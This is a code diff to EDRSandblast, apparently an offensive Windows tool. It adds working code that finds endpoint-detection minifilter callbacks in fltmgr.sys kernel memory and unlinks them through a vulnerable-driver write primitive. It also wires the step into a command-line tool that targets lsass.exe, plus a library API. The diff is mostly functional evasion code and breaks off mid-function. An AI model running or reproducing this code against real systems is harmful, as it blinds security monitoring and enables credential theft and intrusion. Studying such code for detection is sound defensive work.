diff --git a/EDRSandblast/EDRSandblast.vcxproj b/EDRSandblast/EDRSandblast.vcxproj index 8f6b2e8..a9ca8f9 100644 --- a/EDRSandblast/EDRSandblast.vcxproj +++ b/EDRSandblast/EDRSandblast.vcxproj @@ -171,11 +171,13 @@ + + @@ -209,7 +211,9 @@ + + diff --git a/EDRSandblast/EDRSandblast.vcxproj.filters b/EDRSandblast/EDRSandblast.vcxproj.filters index ad5b31d..2734f4c 100644 --- a/EDRSandblast/EDRSandblast.vcxproj.filters +++ b/EDRSandblast/EDRSandblast.vcxproj.filters @@ -129,6 +129,12 @@ Source Files + + Source Files + + + Source Files + @@ -254,6 +260,12 @@ Header Files + + Header Files + + + Header Files + diff --git a/EDRSandblast/Includes/FltmgrOffsets.h b/EDRSandblast/Includes/FltmgrOffsets.h new file mode 100644 index 0000000..334ba6e --- /dev/null +++ b/EDRSandblast/Includes/FltmgrOffsets.h @@ -0,0 +1,50 @@ +#pragma once +#include + + +enum FltmgrOffsetType { + FltGlobals = 0, + _GLOBALS_FrameList, + _FLT_RESOURCE_LIST_HEAD_rList, + _FLTP_FRAME_Links, + _FLTP_FRAME_RegisteredFilters, + _FLT_OBJECT_PrimaryLink, + _FLT_FILTER_DriverObject, + _FLT_FILTER_InstanceList, + _DRIVER_OBJECT_DriverInit, + _FLT_INSTANCE_CallbackNodes, + _FLT_INSTANCE_FilterLink, + _SUPPORTED_FLTMGR_OFFSETS_END +}; + +union FltmgrOffsets { + // structure version of fltmgr.sys's offsets + struct { + DWORD64 FltGlobals; + DWORD64 _GLOBALS_FrameList; + DWORD64 _FLT_RESOURCE_LIST_HEAD_rList; + DWORD64 _FLTP_FRAME_Links; + DWORD64 _FLTP_FRAME_RegisteredFilters; + DWORD64 _FLT_OBJECT_PrimaryLink; + DWORD64 _FLT_FILTER_DriverObject; + DWORD64 _FLT_FILTER_InstanceList; + DWORD64 _DRIVER_OBJECT_DriverInit; + DWORD64 _FLT_INSTANCE_CallbackNodes; + DWORD64 _FLT_INSTANCE_FilterLink; + } st; + + // array version (usefull for code factoring) + DWORD64 ar[_SUPPORTED_FLTMGR_OFFSETS_END]; +}; + +union FltmgrOffsets g_fltmgrOffsets; + +BOOL LoadFltmgrOffsets(_In_opt_ TCHAR* fltmgrOffsetFilename, BOOL canUseInternet); + +BOOL LoadFltmgrOffsetsFromFile(TCHAR* fltmgrOffsetFilename); +void SaveFltmgrOffsetsToFile(TCHAR* fltmgrOffsetFilename); + +BOOL LoadFltmgrOffsetsFromInternet(BOOL delete_pdb); + +LPTSTR GetFltmgrPath(); +LPTSTR GetFltmgrVersion(); \ No newline at end of file diff --git a/EDRSandblast/Includes/KernelCallbacks.h b/EDRSandblast/Includes/KernelCallbacks.h index 11a2013..eb414de 100644 --- a/EDRSandblast/Includes/KernelCallbacks.h +++ b/EDRSandblast/Includes/KernelCallbacks.h @@ -21,6 +21,7 @@ enum kernel_callback_type_e { NOTIFY_ROUTINE_CB, OBJECT_CALLBACK, + MINIFILTER_CALLBACK, }; struct KRNL_CALLBACK { enum kernel_callback_type_e type; @@ -34,8 +35,11 @@ struct KRNL_CALLBACK { struct object_callback_t { DWORD64 enable_addr; } object_callback; + struct minifilter_callback_t { + DWORD64 callback_node; + } minifilter_callback; } addresses; - DWORD64 callback_func; + DWORD64 callback_func; //TODO: reorganize this struct since object callbacks and minifilter callbacks have preoperations and postoperations BOOL removed; }; diff --git a/EDRSandblast/Includes/MinifilterCallbacks.h b/EDRSandblast/Includes/MinifilterCallbacks.h new file mode 100644 index 0000000..d34a6d6 --- /dev/null +++ b/EDRSandblast/Includes/MinifilterCallbacks.h @@ -0,0 +1,9 @@ +#pragma once +#include +#include "KernelCallbacks.h" + +BOOL EnumEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* foundEDRCallbacks, BOOL verbose); +#if WriteMemoryPrimitiveIsAtomic +void RemoveEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks); +BOOL RestoreEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks); +#endif \ No newline at end of file diff --git a/EDRSandblast/KernellandBypass/MinifilterCallbacks.c b/EDRSandblast/KernellandBypass/MinifilterCallbacks.c new file mode 100644 index 0000000..a9a52be --- /dev/null +++ b/EDRSandblast/KernellandBypass/MinifilterCallbacks.c @@ -0,0 +1,167 @@ +#include +#include + +#ifdef _DEBUG +#include +#endif + +#include "FltmgrOffsets.h" +#include "IsEDRChecks.h" +#include "KernelMemoryPrimitives.h" +#include "KernelUtils.h" +#include "PrintFunctions.h" +#include "PdbSymbols.h" +#include "MinifilterCallbacks.h" + + +BOOL EnumEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* foundEDRCallbacks, BOOL verbose) { + BOOL edrCallbacksWereFound = FALSE; + + DWORD64 fltmgr_base = FindKernelModuleAddressByName(L"fltmgr.sys"); + if (!fltmgr_base) + return -1; + if (verbose) { + _tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tfltmgr.sys : %016llx\n"), fltmgr_base); + _tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tFltGlobals : %016llx\n"), fltmgr_base + + g_fltmgrOffsets.st.FltGlobals); + _tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tFrameList : %016llx\n"), fltmgr_base + + g_fltmgrOffsets.st.FltGlobals + + g_fltmgrOffsets.st._GLOBALS_FrameList + + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList); + } + + _putts_or_not(TEXT("[*] [MinifilterCallbacks]\tEnumerating minifilters' frames, filters, instances and callback nodes:")); + DWORD64 frame_list_header = fltmgr_base + + g_fltmgrOffsets.st.FltGlobals + + g_fltmgrOffsets.st._GLOBALS_FrameList + + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList; + for (DWORD64 current_frame_shifted = ReadMemoryDWORD64(frame_list_header); + current_frame_shifted != frame_list_header; + current_frame_shifted = ReadMemoryDWORD64(current_frame_shifted) + ) { + DWORD64 current_frame = current_frame_shifted - g_fltmgrOffsets.st._FLTP_FRAME_Links; + _tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\t_FLTP_FRAME : %016llx:\n"), current_frame); + + DWORD64 filter_list_header = current_frame + g_fltmgrOffsets.st._FLTP_FRAME_RegisteredFilters + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList; + for (DWORD64 current_filter_shifted = ReadMemoryDWORD64(filter_list_header); + current_filter_shifted != filter_list_header; + current_filter_shifted = ReadMemoryDWORD64(current_filter_shifted) + ) { + DWORD64 current_filter = current_filter_shifted - g_fltmgrOffsets.st._FLT_OBJECT_PrimaryLink; + + + // check if current filter is EDR-related + DWORD64 driverObject = ReadMemoryDWORD64(current_filter + g_fltmgrOffsets.st._FLT_FILTER_DriverObject); + DWORD64 driverInit = ReadMemoryDWORD64(driverObject + g_fltmgrOffsets.st._DRIVER_OBJECT_DriverInit); + DWORD64 driverOffset; + TCHAR* driver = FindDriverName(driverInit, &driverOffset); + _tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t_FLT_FILTER %016llx (%s)\n"), current_filter, driver); + + if (driver && isDriverNameMatchingEDR(driver)) { + _putts_or_not(TEXT("[+] [MinifilterCallbacks]\t\t\tEDR-related filter found! Enumerating callbacks from all instances:")); + + DWORD64 instance_list_header = current_filter + g_fltmgrOffsets.st._FLT_FILTER_InstanceList + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList; + for (DWORD64 current_instance_shifted = ReadMemoryDWORD64(instance_list_header); + current_instance_shifted != instance_list_header; + current_instance_shifted = ReadMemoryDWORD64(current_instance_shifted) + ) { + DWORD64 current_instance = current_instance_shifted - g_fltmgrOffsets.st._FLT_INSTANCE_FilterLink; + _tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t\t_FLT_INSTANCE %016llx: "), current_instance); + //printf("\t[*] CallbackNodes : 0x%p\n", (PVOID)CallbackNodesEntry); + + // for each CALLBACK_NODE in the array + DWORD64 CallbackNodesEntry = current_instance + g_fltmgrOffsets.st._FLT_INSTANCE_CallbackNodes; + SIZE_T nbCallbackNodes = 0; + for (int j = 0; j < 50; j++) + { + DWORD64 CallbackNodePointer = ReadMemoryDWORD64(CallbackNodesEntry + (j * 8)); + // Register all callback nodes + if (CallbackNodePointer) + { + // Ugly hack: check if the node really is part of a linked list or have already been unlinked + // TODO: change the whole logic of this file and browse callback nodes directly from _FLT_VOLUME.Callbacks.OperationLists ? + DWORD64 prevNode = ReadMemoryDWORD64(CallbackNodePointer + offsetof(LIST_ENTRY, Blink)); + DWORD64 prevNodeNext = ReadMemoryDWORD64(prevNode + offsetof(LIST_ENTRY, Flink)); + DWORD64 nextNode = ReadMemoryDWORD64(CallbackNodePointer + offsetof(LIST_ENTRY, Flink)); + DWORD64 nextNodePrev = ReadMemoryDWORD64(nextNode + offsetof(LIST_ENTRY, Blink)); + if (prevNodeNext != CallbackNodePointer && nextNodePrev != CallbackNodePointer) { + continue; + } + + struct KRNL_CALLBACK cb = { + .type = MINIFILTER_CALLBACK, + .addresses.minifilter_callback.callback_node = CallbackNodePointer, + .callback_func = 0, //TODO: complete with preoperation & postoperations func address for information + .driver_name = driver, + .removed = FALSE, + }; + AddFoundKernelCallback(foundEDRCallbacks, &cb); + edrCallbacksWereFound = TRUE; + nbCallbackNodes++; + } + } + _tprintf_or_not(TEXT("%llu callback nodes found!\n"), nbCallbackNodes); + } + } + } + } + + return edrCallbacksWereFound; +} + +#if WriteMemoryPrimitiveIsAtomic +void RemoveEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) { + _putts_or_not(TEXT("[+] [MinifilterCallbacks]\tRemoving previously identified callbacks nodes by unlinking them from their list")); + SIZE_T counter = 0; + for (struct KRNL_CALLBACK* ptr = edrCallbacks->EDR_CALLBACKS; + ptr < edrCallbacks->EDR_CALLBACKS + edrCallbacks->size; + ptr++ + ) { + if (ptr->type == MINIFILTER_CALLBACK && + ptr->removed == FALSE) { + DWORD64 callbackNodeAddress = ptr->addresses.minifilter_callback.callback_node; + DWORD64 prevNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Blink)); + DWORD64 nextNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Flink)); + WriteMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink), prevNodeAddress); + WriteMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink), nextNodeAddress); + ptr->removed = TRUE; + counter++; + } + } + _tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t%llu callback nodes were removed!\n"), counter); +} + +BOOL RestoreEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) { + BOOL success = TRUE; + _putts_or_not(TEXT("[+] [MinifilterCallbacks]\tRestoring unlinked callbacks node by re-inserting them in their original place")); + SIZE_T counter = 0; + // reinsert the nodes in the inverse order to avoid invalid states + for (struct KRNL_CALLBACK* ptr = edrCallbacks->EDR_CALLBACKS + edrCallbacks->size - 1; + edrCallbacks->EDR_CALLBACKS <= ptr; + ptr-- + ) { + if (ptr->type == MINIFILTER_CALLBACK && + ptr->removed == TRUE) { + DWORD64 callbackNodeAddress = ptr->addresses.minifilter_callback.callback_node; + DWORD64 prevNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Blink)); + DWORD64 nextNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Flink)); + + // Checks that "previous" and "next" nodes are still next to each other in the list + DWORD64 prevNodeFlink = ReadMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink)); + DWORD64 nextNodeBlink = ReadMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink)); + if (prevNodeFlink != nextNodeAddress || nextNodeBlink != prevNodeAddress) { + _putts_or_not(TEXT("[-] [MinifilterCallbacks]\tWARNING: a callback node could not have been restored! Maybe the node list changed between node removal and node reinsertion?")); + success = FALSE; + continue; + } + + WriteMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink), callbackNodeAddress); + WriteMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink), callbackNodeAddress); + ptr->removed = FALSE; + counter++; + } + } + _tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t%llu callback nodes were restored!\n"), counter); + return success; +} +#endif \ No newline at end of file diff --git a/EDRSandblast/Utils/FltmgrOffsets.c b/EDRSandblast/Utils/FltmgrOffsets.c new file mode 100644 index 0000000..66571f4 --- /dev/null +++ b/EDRSandblast/Utils/FltmgrOffsets.c @@ -0,0 +1,157 @@ +#include +#include +#include +#include + +#include "FileUtils.h" +#include "FileVersion.h" +#include "PrintFunctions.h" +#include "PdbSymbols.h" + +#include "FltmgrOffsets.h" + +union FltmgrOffsets g_fltmgrOffsets = { 0 }; + + +BOOL FltmgrOffsetsAreLoaded() { + return g_fltmgrOffsets.ar[0] != 0; +} + + +BOOL LoadFltmgrOffsets(_In_opt_ TCHAR* fltmgrOffsetFilename, BOOL canUseInternet) { + if (FltmgrOffsetsAreLoaded()) { + //offsets already loaded + return TRUE; + } + + // load via CSV first + if (fltmgrOffsetFilename && FileExists(fltmgrOffsetFilename)) { + if (LoadFltmgrOffsetsFromFile(fltmgrOffsetFilename)) { + return TRUE; + } + _putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of fltmgr.sys in use.")); + } + + // load via internet then + if (canUseInternet) { + _putts_or_not(TEXT("[+] Downloading fltmgr.sys related offsets from the MS Symbol Server (will drop a .pdb file in current directory)")); +#if _DEBUG + if (LoadFltmgrOffsetsFromInternet(FALSE)) { +#else + if (LoadFltmgrOffsetsFromInternet(TRUE)) { +#endif + _putts_or_not(TEXT("[+] Downloading offsets succeeded !")); + if (fltmgrOffsetFilename && FileExists(fltmgrOffsetFilename)) { + _putts_or_not(TEXT("[+] Saving them to the CSV file...")); + SaveFltmgrOffsetsToFile(fltmgrOffsetFilename); + } + return TRUE; + } + _putts_or_not(TEXT("[-] Downloading offsets from the internet failed !")); + } + + return FALSE; +} + +BOOL LoadFltmgrOffsetsFromFile(TCHAR * fltmgrOffsetFilename) { + LPTSTR fltmgrVersion = GetFltmgrVersion(); + _tprintf_or_not(TEXT("[*] System's fltmgr.sys file version is: %s\n"), fltmgrVersion); + + FILE* offsetFileStream = NULL; + _tfopen_s(&offsetFileStream, fltmgrOffsetFilename, TEXT("r")); + + if (offsetFileStream == NULL) { + _putts_or_not(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!")); + return FALSE; + } + + TCHAR lineFltmgrVersion[256]; + TCHAR line[2048]; + while (_fgetts(line, _countof(line), offsetFileStream)) { + TCHAR* dupline = _tcsdup(line); + TCHAR* tmpBuffer = NULL; + _tcscpy_s(lineFltmgrVersion, _countof(lineFltmgrVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer)); + if (_tcscmp(fltmgrVersion, lineFltmgrVersion) == 0) { + TCHAR* endptr; + _tprintf_or_not(TEXT("[+] Offsets are available for this version of fltmgr.sys (%s)!\n"), fltmgrVersion); + for (int i = 0; i < _SUPPORTED_FLTMGR_OFFSETS_END; i++) { + g_fltmgrOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16); + } + break; + } + } + fclose(offsetFileStream); + + return FltmgrOffsetsAreLoaded(); +} + +void SaveFltmgrOffsetsToFile(TCHAR * fltmgrOffsetFilename) { + LPTSTR fltmgrVersion = GetFltmgrVersion(); + + FILE* offsetFileStream = NULL; + _tfopen_s(&offsetFileStream, fltmgrOffsetFilename, TEXT("a")); + + if (offsetFileStream == NULL) { + _putts_or_not(TEXT("[!] Offset CSV file connot be opened")); + return; + } + + _ftprintf(offsetFileStream, TEXT("%s"), fltmgrVersion); + for (int i = 0; i < _SUPPORTED_FLTMGR_OFFSETS_END; i++) { + _ftprintf(offsetFileStream, TEXT(",%llx"), g_fltmgrOffsets.ar[i]); + } + _fputts(TEXT("\n"), offsetFileStream); + + fclose(offsetFileStream); +} + + +BOOL LoadFltmgrOffsetsFromInternet(BOOL delete_pdb) { + LPTSTR fltmgrPath = GetFltmgrPath(); + symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(fltmgrPath); + if (sym_ctx == NULL) { + return FALSE; + } + g_fltmgrOffsets.st.FltGlobals = GetSymbolOffset(sym_ctx, "FltGlobals"); + g_fltmgrOffsets.st._DRIVER_OBJECT_DriverInit = GetFieldOffset(sym_ctx, "_DRIVER_OBJECT", L"DriverInit"); + g_fltmgrOffsets.st._FLTP_FRAME_Links = GetFieldOffset(sym_ctx, "_FLTP_FRAME", L"Links"); + g_fltmgrOffsets.st._FLTP_FRAME_RegisteredFilters = GetFieldOffset(sym_ctx, "_FLTP_FRAME", L"RegisteredFilters"); + g_fltmgrOffsets.st._FLT_FILTER_DriverObject = GetFieldOffset(sym_ctx, "_FLT_FILTER", L"DriverObject"); + g_fltmgrOffsets.st._FLT_FILTER_InstanceList = GetFieldOffset(sym_ctx, "_FLT_FILTER", L"InstanceList"); + g_fltmgrOffsets.st._FLT_INSTANCE_CallbackNodes = GetFieldOffset(sym_ctx, "_FLT_INSTANCE", L"CallbackNodes"); + g_fltmgrOffsets.st._FLT_INSTANCE_FilterLink = GetFieldOffset(sym_ctx, "_FLT_INSTANCE", L"FilterLink"); + g_fltmgrOffsets.st._FLT_OBJECT_PrimaryLink = GetFieldOffset(sym_ctx, "_FLT_OBJECT", L"PrimaryLink"); + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList = GetFieldOffset(sym_ctx, "_FLT_RESOURCE_LIST_HEAD", L"rList"); + g_fltmgrOffsets.st._GLOBALS_FrameList = GetFieldOffset(sym_ctx, "_GLOBALS", L"FrameList"); + UnloadSymbols(sym_ctx, delete_pdb); + + return FltmgrOffsetsAreLoaded(); +} + +TCHAR g_fltmgrPath[MAX_PATH] = { 0 }; +LPTSTR GetFltmgrPath() { + if (_tcslen(g_fltmgrPath) == 0) { + // Retrieves the system folder (eg C:\Windows\System32). + TCHAR systemDirectory[MAX_PATH] = { 0 }; + GetSystemDirectory(systemDirectory, _countof(systemDirectory)); + + // Compute fltmgr.sys path. + PathAppend(g_fltmgrPath, systemDirectory); + PathAppend(g_fltmgrPath, TEXT("drivers")); + PathAppend(g_fltmgrPath, TEXT("fltMgr.sys")); + } + return g_fltmgrPath; +} + +TCHAR g_fltmgrVersion[256] = { 0 }; +LPTSTR GetFltmgrVersion() { + if (_tcslen(g_fltmgrVersion) == 0) { + LPTSTR fltmgrPath = GetFltmgrPath(); + + TCHAR versionBuffer[256] = { 0 }; + GetFileVersion(versionBuffer, _countof(versionBuffer), fltmgrPath); + + _stprintf_s(g_fltmgrVersion, 256, TEXT("fltmgr_%s.sys"), versionBuffer); + } + return g_fltmgrVersion; +} \ No newline at end of file diff --git a/EDRSandblast_CLI/EDRSandblast.c b/EDRSandblast_CLI/EDRSandblast.c index bf91568..909e430 100644 --- a/EDRSandblast_CLI/EDRSandblast.c +++ b/EDRSandblast_CLI/EDRSandblast.c @@ -14,11 +14,13 @@ #include "CredGuard.h" #include "DriverOps.h" #include "FileUtils.h" +#include "FltmgrOffsets.h" #include "Firewalling.h" #include "ETWThreatIntel.h" #include "KernelCallbacks.h" #include "KernelDSE.h" #include "KernelMemoryPrimitives.h" +#include "MinifilterCallbacks.h" #include "NtoskrnlOffsets.h" #include "ObjectCallbacks.h" #include "ProcessDump.h" @@ -91,7 +93,7 @@ int _tmain(int argc, TCHAR** argv) { const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] \n\ [--usermode] [--unhook-method ] [--direct-syscalls] [--add-dll ]* \n\ [--kernelmode] [--dont-unload-driver] [--no-restore] \n\ - [--nt-offsets ] [--wdigest-offsets ] [--ci-offsets ] [--internet]\n\ + [--nt-offsets ] [--fltmgr-offsets ] [--wdigest-offsets ] [--ci-offsets ] [--internet]\n\ [--vuln-driver ] [--vuln-service ] \n\ [--unsigned-driver ] [--unsigned-service ] \n\ [--no-kdp]\n\ @@ -168,6 +170,8 @@ Offset-related options:\n\ \n\ --nt-offsets Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\ Default to 'NtoskrnlOffsets.csv' in the current directory.\n\ +--fltmgr-offsets Path to the CSV file containing the required fltmgr.sys's offsets\n\ + Default to 'FltmgrOffsets.csv' in the current directory.\n\ --wdigest-offsets Path to the CSV file containing the required wdigest.dll's offsets\n\ (only for the 'credguard' mode).\n\ Default to 'WdigestOffsets.csv' in the current directory.\n\ @@ -204,6 +208,7 @@ Dump options:\n\ TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 }; TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 }; TCHAR ciOffsetCSVPath[MAX_PATH] = { 0 }; + TCHAR fltmgrOffsetCSVPath[MAX_PATH] = { 0 }; TCHAR processName[] = TEXT("lsass.exe"); TCHAR outputPath[MAX_PATH] = { 0 }; BOOL verbose = FALSE; @@ -219,6 +224,7 @@ Dump options:\n\ BOOL ETWTIState = FALSE; BOOL foundNotifyRoutineCallbacks = FALSE; BOOL foundObjectCallbacks = FALSE; + BOOL foundMinifilterCallbacks = FALSE; HOOK* hooks = NULL; //TODO implement a "force" mode : remove notify routines & object callbacks without checking if it belongs to an EDR (useful as a last resort if a driver is not recognized) @@ -305,6 +311,14 @@ Dump options:\n\ } _tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i])); } + else if (_tcsicmp(argv[i], TEXT("--fltmgr-offsets")) == 0) { + i++; + if (i > argc) { + _tprintf_or_not(TEXT("%s"), usage); + return EXIT_FAILURE; + } + _tcsncpy_s(fltmgrOffsetCSVPath, _countof(fltmgrOffsetCSVPath), argv[i], _tcslen(argv[i])); + } else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) { i++; if (i > argc) { @@ -483,6 +497,14 @@ Dump options:\n\ PrintNtoskrnlOffsets(); } + if (_tcslen(fltmgrOffsetCSVPath) == 0) { + PathAppend(fltmgrOffsetCSVPath, currentFolderPath); + PathAppend(fltmgrOffsetCSVPath, TEXT("FltmgrOffsets.csv")); + } + if (!LoadFltmgrOffsets(fltmgrOffsetCSVPath, internet)) { + return EXIT_FAILURE; + } + // Install the vulnerable driver to have read / write in Kernel memory. LPTSTR serviceNameIfAny = NULL; BOOL isDriverAlreadyRunning = IsDriverServiceRunning(driverPath, &serviceNameIfAny); @@ -533,6 +555,19 @@ Dump options:\n\ } _putts_or_not(TEXT("")); + _putts_or_not(TEXT("[+] Checking if EDR callbacks are registered on I/O events (minifilters)...")); + foundMinifilterCallbacks = EnumEDRMinifilterCallbacks(foundEDRDrivers, verbose); + _tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\tMinifilter callbacks are %s !\n"), foundMinifilterCallbacks ? TEXT("present") : TEXT("not found")); + + if (foundMinifilterCallbacks) { +#if WriteMemoryPrimitiveIsAtomic + isSafeToExecutePayloadKernelland = FALSE; +#else + _putts_or_not(TEXT("WARNING: with the current driver (") DEFAULT_DRIVER_FILE TEXT("), EDRSandblast will not be able to remove these callbacks")); +#endif + } + _putts_or_not(TEXT("")); + _putts_or_not(TEXT("[+] [ETWTI]\tChecking the ETW Threat Intelligence Provider state...")); ETWTIState = isETWThreatIntelProviderEnabled(verbose); _tprintf_or_not(TEXT("[+] [ETWTI]\tETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED")); @@ -827,7 +862,13 @@ Dump options:\n\ DisableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers); _putts_or_not(TEXT("")); } - +#if WriteMemoryPrimitiveIsAtomic + if (foundMinifilterCallbacks) { + _putts_or_not(TEXT("[+] Removing minifilter callbacks registered by EDR for monitoring I/O operations...")); + RemoveEDRMinifilterCallbacks(foundEDRDrivers); + _putts_or_not(TEXT("")); + } +#endif /* * 2/3 : Starting "resursively" our process. */ @@ -866,7 +907,13 @@ Dump options:\n\ EnableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers); _putts_or_not(TEXT("")); } - +#if WriteMemoryPrimitiveIsAtomic + if (restoreCallbacks == TRUE && foundMinifilterCallbacks) { + _putts_or_not(TEXT("[+] Restoring EDR's minifilter callbacks...")); + RestoreEDRMinifilterCallbacks(foundEDRDrivers); + _putts_or_not(TEXT("")); + } +#endif // Renable the ETW Threat Intel provider. // TODO : make this conditionnal, just as kernel callbacks restoring ? if (ETWTIState) { diff --git a/EDRSandblast_StaticLibrary/EDRSandblast_API.c b/EDRSandblast_StaticLibrary/EDRSandblast_API.c index dd0c86b..34990a7 100644 --- a/EDRSandblast_StaticLibrary/EDRSandblast_API.c +++ b/EDRSandblast_StaticLibrary/EDRSandblast_API.c @@ -6,8 +6,10 @@ #include "ETWThreatIntel.h" #include "FileUtils.h" #include "Firewalling.h" +#include "FltmgrOffsets.h" #include "KernelCallbacks.h" #include "KernelMemoryPrimitives.h" +#include "MinifilterCallbacks.h" #include "PrintFunctions.h" #include "ProcessDump.h" #include "ProcessDumpDirectSyscalls.h" @@ -221,7 +223,6 @@ EDRSB_STATUS _LoadWdigestOffsets(EDRSB_CONTEXT* ctx) { EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) { EDRSB_STATUS status; BOOL driverInstallRequired = FALSE; - BOOL kernelOffsetsLoaded = FALSE; ctx->config = config; if (config->actions.ProtectProcess) { @@ -232,11 +233,13 @@ EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) { if (config->bypassMode.Krnlmode) { status = _LoadNtosKrnlOffsets(ctx); if (status != EDRSB_SUCCESS) { - _tprintf_or_not(TEXT("[-] Init failed: required offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status); + _tprintf_or_not(TEXT("[-] Init failed: required ntoskrnl.exe offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status); return status; } - else { - kernelOffsetsLoaded = TRUE; + BOOL success = LoadFltmgrOffsets(ctx->config->fltmgrOffsetFilePath, ctx->config->offsetRetrievalMethod.Internet); + if (!success) { + _tprintf_or_not(TEXT("[-] Init failed: required fltmgr.sys offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status); + return status; } driverInstallRequired = TRUE; @@ -289,6 +292,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) { BOOL isSafeToExecutePayload = TRUE; BOOL foundNotifyRoutineCallbacks; BOOL foundObjectsCallbacks; + BOOL foundMinifilterCallbacks; BOOL isETWTICurrentlyEnabled; BOOL verbose = ctx ? ctx->config->verbose : FALSE; @@ -311,7 +315,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) { ctx->foundNotifyRoutineCallbacks = TRUE; } if (ctx) { - _tprintf_or_not(TEXT("[+] Object callbacks have %sbeen found"), ctx->foundNotifyRoutineCallbacks ? TEXT("") : TEXT("NOT")); + _tprintf_or_not(TEXT("[+] Kernel notify routines have %sbeen found"), ctx->foundNotifyRoutineCallbacks ? TEXT("") : TEXT("not ")); _putts_or_not(TEXT("[+] Check if EDR callbacks are registered on processes and threads handle creation/duplication")); } @@ -321,6 +325,15 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) { } if (ctx) { _tprintf_or_not(TEXT("[+] Enabled EDR object callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found")); + _putts_or_not(TEXT("[+] Check if EDR minifilter callbacks are registered for monitoring disk operations")); + } + + foundMinifilterCallbacks = EnumEDRMinifilterCallbacks(foundEDRDrivers, verbose); + if (ctx && foundMinifilterCallbacks) { + ctx->foundMinifilterCallbacks = TRUE; + } + if (ctx) { + _tprintf_or_not(TEXT("[+] EDR minifilter callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found")); } if (ctx) { @@ -343,7 +356,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) { ctx->krnlmodeMonitoringEnumDone = TRUE; } - if (foundNotifyRoutineCallbacks || foundObjectsCallbacks || isETWTICurrentlyEnabled) { + if (foundNotifyRoutineCallbacks || foundObjectsCallbacks || foundMinifilterCallbacks || isETWTICurrentlyEnabled) { status = EDRSB_KNRL_MONITORING; } else { @@ -380,6 +393,11 @@ EDRSB_STATUS Krnlmode_RemoveAllMonitoring(_In_ EDRSB_CONTEXT* ctx) { DisableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers); } + if (ctx->foundMinifilterCallbacks) { + _putts_or_not(TEXT("[+] Disabling minifilter callbacks registered by EDR to monitor I/O operations...")); + RemoveEDRMinifilterCallbacks(ctx->foundEDRDrivers); + } + if (ctx->isETWTICurrentlyEnabled) { DisableETWThreatIntelProvider(ctx->config->verbose); ctx->isETWTICurrentlyEnabled = FALSE; @@ -405,6 +423,11 @@ EDRSB_STATUS Krnlmode_RestoreAllMonitoring(_In_ EDRSB_CONTEXT* ctx) { EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers); } + if (!ctx->config->actions.DontRestoreCallBacks && ctx->foundMinifilterCallbacks) { + _putts_or_not(TEXT("[+] Restoring EDR's minifilter callbacks...")); + 